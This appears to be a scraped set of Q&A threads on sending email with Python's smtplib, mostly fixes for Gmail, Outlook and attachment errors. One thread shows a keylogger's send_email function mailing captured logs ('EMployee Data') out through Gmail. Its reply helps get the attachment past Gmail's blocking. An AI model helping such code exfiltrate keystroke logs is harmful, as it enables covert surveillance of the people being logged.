import smtplib
server = smtplib.SMTP('smtp.gmail.com', 587)
server.ehlo()
server.starttls()
server.login("******#gmail.com", "*******")
msg = "Hello!"
server.sendmail("rajesh.debugs#gmail.com", "rjucsm#gmail.com", msg)
OUTPUT :
C:\Users\Admin\PycharmProjects\Gabbar\venv\Scripts\python.exe C:/Users/Admin/PycharmProjects/Gabbar/MadhuBhai/t3.py
Traceback (most recent call last):
File "C:/Users/Admin/PycharmProjects/Gabbar/MadhuBhai/t3.py", line 5, in <module>
server.login("******#gmail.com", "******")
File "C:\Users\Admin\AppData\Local\Programs\Python\Python36-32\lib\smtplib.py", line 730, in login
raise last_exception
File "C:\Users\Admin\AppData\Local\Programs\Python\Python36-32\lib\smtplib.py", line 721, in login
initial_response_ok=initial_response_ok)
File "C:\Users\Admin\AppData\Local\Programs\Python\Python36-32\lib\smtplib.py", line 642, in auth
raise SMTPAuthenticationError(code, resp)
smtplib.SMTPAuthenticationError: (534, b'5.7.14 <https://accounts.google.com/signin/continue?sarp=1&scc=1&plt=AKgnsbtX\n5.7.14 HDzghr7H0UegF2rvoxWT6p9FwK8ct-IgZQXTa09qiineo743EE4PjOLOukbW-7fN2_FfIx\n5.7.14 qBwOghPCGmq1zlaUP3231EHWXgeut6dhRtiEjEVKAd-VKglbnUqvCyPMLKlADKhWt56L_5\n5.7.14 afzoYLGapj8SmZxp_W6VMrkj10aK9xthTsrmUerV9bkqgILAnKh9SWOO2n-7WsHO43reIf\n5.7.14 MQqmW0G2lyXQWbYt-8LxUHRt3ATI8> Please log in via your web browser and\n5.7.14 then try again.\n5.7.14 Learn more at\n5.7.14 https://support.google.com/mail/answer/78754 v5-v6sm6337091pfd.1 - gsmtp')
Process finished with exit code 1
Possible duplicate of: SMTPAuthenticationError when sending mail using gmail and python
You will need to look at https://support.google.com/accounts/answer/6010255?hl=en and enable https://myaccount.google.com/lesssecureapps for your mail account.
If you aren't set on using with smtplib, then I would recommend SendGrid for sending emails (if you send < 100 emails/day then it's free).
import sendgrid
from sendgrid.helpers.mail import *
sg = sendgrid.SendGridAPIClient(apikey=sendgrid_api_key)
from_email = Email("test#example.com")
to_email = Email("test#example.com")
subject = "Sending with SendGrid is Fun"
content = Content("text/plain", "content")
mail = Mail(from_email, subject, to_email, content)
response = sg.client.mail.send.post(request_body=mail.get())
print(response.status_code)
You need to use email.mime along with smtp. Try below:
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
import smtplib
strFrom = 'xyz.uvw#gmail.com'
strTo = ['efg.abc#gmail.com','hij.lmn#gmail.com']
attachment = '<path to attachment if any>'
msgRoot = MIMEMultipart('related')
msgRoot['Subject'] = 'TEST'
msgRoot['From'] = strFrom
msgRoot['To'] = ", ".join(strTo)
msgRoot.preamble = 'This is a multi-part message in MIME format.'
msgAlternative = MIMEMultipart('alternative')
msgRoot.attach(msgAlternative)
msgText = MIMEText('This is the alternative plain text message.')
msgAlternative.attach(msgText)
msgText = MIMEText('<b>Summary</b>', 'html')
msgAlternative.attach(msgText)
fp = open(attachment, 'rb')
msgImage = MIMEImage(fp.read())
fp.close()
msgImage.add_header('Content-ID', '<image1>')
msgRoot.attach(msgImage)
smtp = smtplib.SMTP("YOUREMAILHOST", 25, timeout=120)
smtp.sendmail(strFrom, strTo, msgRoot.as_string())
smtp.close()
Related
Please I want to send data from these python files to my database. How do I go about it?
the following file path saves data from this keylogger, which is sent an email using the smtp library.
File_path = "******" # file path files are saved to
extend = "\\"
file_merge = file_path + extend
which is sent an email using the smtp library.
'''
def send_email(system_information, filename, attachment, toaddr):
fromaddr = email_address
msg = MIMEMultipart()
msg['From'] = fromaddr
msg['To'] = toaddr
msg['Subject'] = "Log File"
body = "EMployee Data"
msg.attach(MIMEText(body, 'plain'))
filename = filename
attachment = open(attachment, 'rb')
p = MIMEBase('application', 'octet-stream')
p.set_payload(attachment.read())
encoders.encode_base64(p)
p.add_header('Content-Disposition', "attachment; filename= %s" % filename)
msg.attach(p)
s = smtplib.SMTP('smtp.gmail.com', 587)
s.starttls()
s.login(fromaddr, password)
text = msg.as_string()
s.sendmail(fromaddr, toaddr, text)
s.quit()
'''
but google is blocking the mails saying its "content presents a potential\n5.7.0 security issue"
therefore I want to now create database with a table I can now send the data to instead of the mail
The error content presents a potential\n5.7.0 security issue shows
that it has not supported file you are using
Please check here File types blocked in gmail. Files those are mentioned in the url which are not acceptable to send using SMTP mail
I have used below code to send a file using python
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
mail_content = '''Hello,
#The mail addresses and password
sender_address = 'sender#gmail.com'
sender_pass = 'xxxxxxxx'
receiver_address = 'receiver#gmail.com'
#Setup the MIME
message = MIMEMultipart()
message['From'] = sender_address
message['To'] = receiver_address
message['Subject'] = 'A test mail sent by Python. It has an attachment.'
#The subject line
#The body and the attachments for the mail
message.attach(MIMEText(mail_content, 'plain'))
attach_file_name = 'test.pdf' #
attach_file = open(attach_file_name, 'rb')
#Open the file as binary mode
payload = MIMEBase('application', 'octate-stream')
payload.set_payload((attach_file).read())
encoders.encode_base64(payload)
#encode the attachment
#add payload header with filename
payload.add_header('Content-Decomposition', 'attachment', filename=attach_file_name)
message.attach(payload)
#Create SMTP session for sending the mail
#use gmail with port
session = smtplib.SMTP('smtp.gmail.com', 587)
#enable security
session.starttls()
#login with mail_id and password
session.login(sender_address, sender_pass)
text = message.as_string()
session.sendmail(sender_address, receiver_address, text)
session.quit()
print('Mail Sent')
Refer here
I am able to send the mail to gmail account via SMTP in Python. But when tried doing the same for Outlook - office365, it is throwing the error.
Code to send mail to gmail (working)
import smtplib
sender_email = "ABC#gmail.com"
rec_email = "ABC#gmail.com"
password = input(str("pwd:"))
message = "hey sent using python"
server = smtplib.SMTP('smtp.gmail.com',587)
server.starttls()
server.login(sender_email,password)
print("Login success")
server.sendmail(sender_email,rec_email, message)
print("Email sent to",rec_email)
code for Outlook(throwing error)
import smtplib
sender_email = "ABC#companydomain.com"
rec_email = "ABC#companydomain.com"
password = input(str("pwd:"))
message = "hey sent using python"
server = smtplib.SMTP('smtp.outlook.com',587)
server.starttls()
server.login(sender_email,password)
print("Login success")
server.sendmail(sender_email,rec_email, message)
print("Email sent to",rec_email )
The following error occurs when i run the above outlook code:
Traceback (most recent call last):
File "C:/Users/ABC/Python/Python37/pythonmail.py", line 32, in <module>
server.login(sender_email,password)
File "C:\Users\ABC\Python\Python37\lib\smtplib.py", line 730, in login
raise last_exception
File "C:\Users\ABC\Python\Python37\lib\smtplib.py", line 721, in login
initial_response_ok=initial_response_ok)
File "C:\Users\ABC\Python\Python37\lib\smtplib.py", line 642, in auth
raise SMTPAuthenticationError(code, resp)
smtplib.SMTPAuthenticationError: (535, b'5.7.3 Authentication unsuccessful
[BM1PR01CA0154.INDPRD01.PROD.OUTLOOK.COM]')
i even went through the following links:
[https://stackoverflow.com/questions/57203843/unable-to-send-mail-in-python-on-outlook-with-the-smtplib][1]
[https://www.pythonanywhere.com/forums/topic/1961/][2]
[https://stackoverflow.com/questions/66061531/send-mail-from-alias-mail-id-using-python-smtplib][2]
Can somebody help me on how to fix the error??
Meanwhile the below code worked for both gmail and outlook using win32com.client. But i want to do it with SMTP lib. Kindly help
import win32com.client as client
outlook = client.Dispatch("Outlook.Application")
message = outlook.CreateItem(0)
message.Display()
message.To = 'ABC#domain.com'
message.subject = 'Test Mail'
message.body = 'Sending a test mail :)'
message.send
print("mail sent successfully")
Tried by not giving port number and password. It worked.
import smtplib
sender_email = "test_mail#company.com"
rec_email = ["ABC#company.com"]
message = "hey sent using python"
server = smtplib.SMTP('smtp.corp.company.com')
print("Login success")
server.sendmail(sender_email,rec_email, message)
print("Email sent to",rec_email )
I'm trying to send a mail with from cgi web console using email input field but it fails with below error in apache logs
Traceback (most recent call last):
File "/opt/apache-dba/cgi-bin/main.py", line 132, in <module>
mail()
File "/opt/apache-dba/cgi-bin/main.py", line 129, in mail
s.sendmail(me, you, msg.as_string())
File "/usr/lib64/python2.7/smtplib.py", line 742, in sendmail
raise SMTPRecipientsRefused(senderrs)
smtplib.SMTPRecipientsRefused: {'xxx#adp.com/': (501, '5.1.3 Bad recipient address syntax')}
But I'm able to run the same code and able to receive the mail from python shell
Below is the code, this looks like when I run the code from cgi it is trying to convert mailid from 'xxx#adp.com' to 'xxx#adp.com/' resulting syntax error.
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
Emailid = xxx#gmail.com
Link='http://google.com'
def mail():
me = "GETS.INDIA.DDS.TAM#gmail.com"
you = str(Emailid)
msg = MIMEMultipart('alternative')
msg['Subject'] = "Upgrade Status Link"
msg['From'] = me
msg['To'] = you
text = '%s' % str(Link)
part1 = MIMEText(text, 'plain')
msg.attach(part1)
s = smtplib.SMTP('localhost')
s.sendmail(me, you, msg.as_string())
s.quit()
mail()
any help will be greatly appreciated, Thank you
It looks like Emailid should be a string. Try surrounding your test email in quotes to make it a string.
Emailid = 'xxx#gmail.com'
I'm trying to create a daemon which regularly sends me emails and I'm using the following snippet of code to do so.
import smtplib
from datetime import date
from email.mime.text import MIMEText
def send_email():
SMTP_PORT = 587
SMTP_SERVER = 'smtp.mail.com'
SMTP_USERNAME = 'EMAIL'
SMTP_PASSWORD = 'PASSWORD'
EMAIL_TO = ['email#hotmail.com']
EMAIL_FROM = 'EMAIL'
EMAIL_SUBJECT = 'Test!'
DATE_FORMAT = '%d/%m/%Y'
EMAIL_SPACE = ', '
DATA='Email Content'
msg = MIMEText(DATA)
msg['Subject'] = EMAIL_SUBJECT + ' %s' % (date.today().strftime(DATE_FORMAT))
msg['To'] = EMAIL_SPACE.join(EMAIL_TO)
msg['From'] = EMAIL_FROM
mail = smtplib.SMTP(SMTP_SERVER, SMTP_PORT)
mail.starttls()
mail.login(SMTP_USERNAME, SMTP_PASSWORD)
mail.sendmail(EMAIL_FROM, EMAIL_TO, msg.as_string())
mail.quit()
However, after 5 emails, even though I've added the senders email to my contact list on outlook/hotmail, the daemon returns the following exception:
Sending email! 1/1
Traceback (most recent call last):
File "daemon.py", line 91, in <module>
send_email()
File "daemon.py", line 78, in send_email
mail.sendmail(EMAIL_FROM, EMAIL_TO, msg.as_string())
File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/smtplib.py", line 742, in sendmail
raise SMTPRecipientsRefused(senderrs)
smtplib.SMTPRecipientsRefused: {'email#hotmail.com': (550, 'Requested action not taken: mailbox unavailable\nFailure sending mail. Try again later')}
Can anyone advise on how to get around this? Does anyone know of an email service that has been tested which will allow more than 5 emails or how I configure the smtplib to not stop sending after 5 emails to the same address?
UPDATE: When I change the receiving email address from outlook to gmail (another one of my emails) - it returns the same exception even though I've sent no emails to the gmail SMTP server.
#!/usr/bin/env python3
import smtplib,email,email.encoders,email.mime.text,email.mime.base
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email import encoders
from email.message import Message
from email.mime.audio import MIMEAudio
from email.mime.base import MIMEBase
from email.mime.image import MIMEImage
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
msg = MIMEMultipart()
# me == my email address
# you == recipient's email address
me = "sender#email.com"
you = "reciever#email.com "
# Create message container - the correct MIME type is multipart/alternative.
msg = MIMEMultipart('mixed')
msg['Subject'] = "msg"
msg['From'] = me
msg['To'] = you
# Create the body of the message (a plain-text and an HTML version).
text = "Hi\nThis is text-only"
html = """\
<html> This is email</html>
"""
part1 = MIMEText(text, 'plain')
part2 = MIMEText(html, 'html')
#attach an excel file:
fp = open('TestStatus.xlsx', 'rb')
file1=email.mime.base.MIMEBase('application','vnd.ms-excel')
file1.set_payload(fp.read())
fp.close()
email.encoders.encode_base64(file1)
file1.add_header('Content-Disposition','attachment;filename=anExcelFile.xlsx')
# Attach parts into message container.
# According to RFC 2046, the last part of a multipart message, in this case
# the HTML message, is best and preferred.
msg.attach(part2)
msg.attach(part1)
msg.attach(file1)
composed = msg.as_string()
fp = open('msgtest.eml', 'w')
fp.write(composed)
# Credentials (if needed)
# The actual mail send
server = smtplib.SMTP('dc1smtp.com')
server.starttls()
server.sendmail(me, you, msg)
server.quit()
fp.close()
also when running it, I see this error message.
Traceback (most recent call last):
File "excel.py", line 57, in <module>
server.sendmail(me, you, msg)
File "C:\Python33\lib\smtplib.py", line 775, in sendmail
(code, resp) = self.data(msg)
File "C:\Python33\lib\smtplib.py", line 516, in data
q = _quote_periods(msg)
File "C:\Python33\lib\smtplib.py", line 167, in _quote_periods
return re.sub(br'(?m)^\.', b'..', bindata)
File "C:\Python33\lib\re.py", line 170, in sub
return _compile(pattern, flags).sub(repl, string, count)
TypeError: expected string or buffer
I have tested this code and it is working. the only problem i am having is that, when i run it, i dont recieve the emails that i am testing it with. But when i run this code. it creates a file named "msgtest.eml". This file is like a draft of my email or something.
can someone show me how to use this show and be an actually email instead of a draft?
thanks
To send mail from localhost:
import smtplib
me = "me#me.com"
you = "you#you.com"
# insert your code here
msg = ...
s = smtplib.SMTP('localhost')
s.sendmail(me, [to], msg.as_string())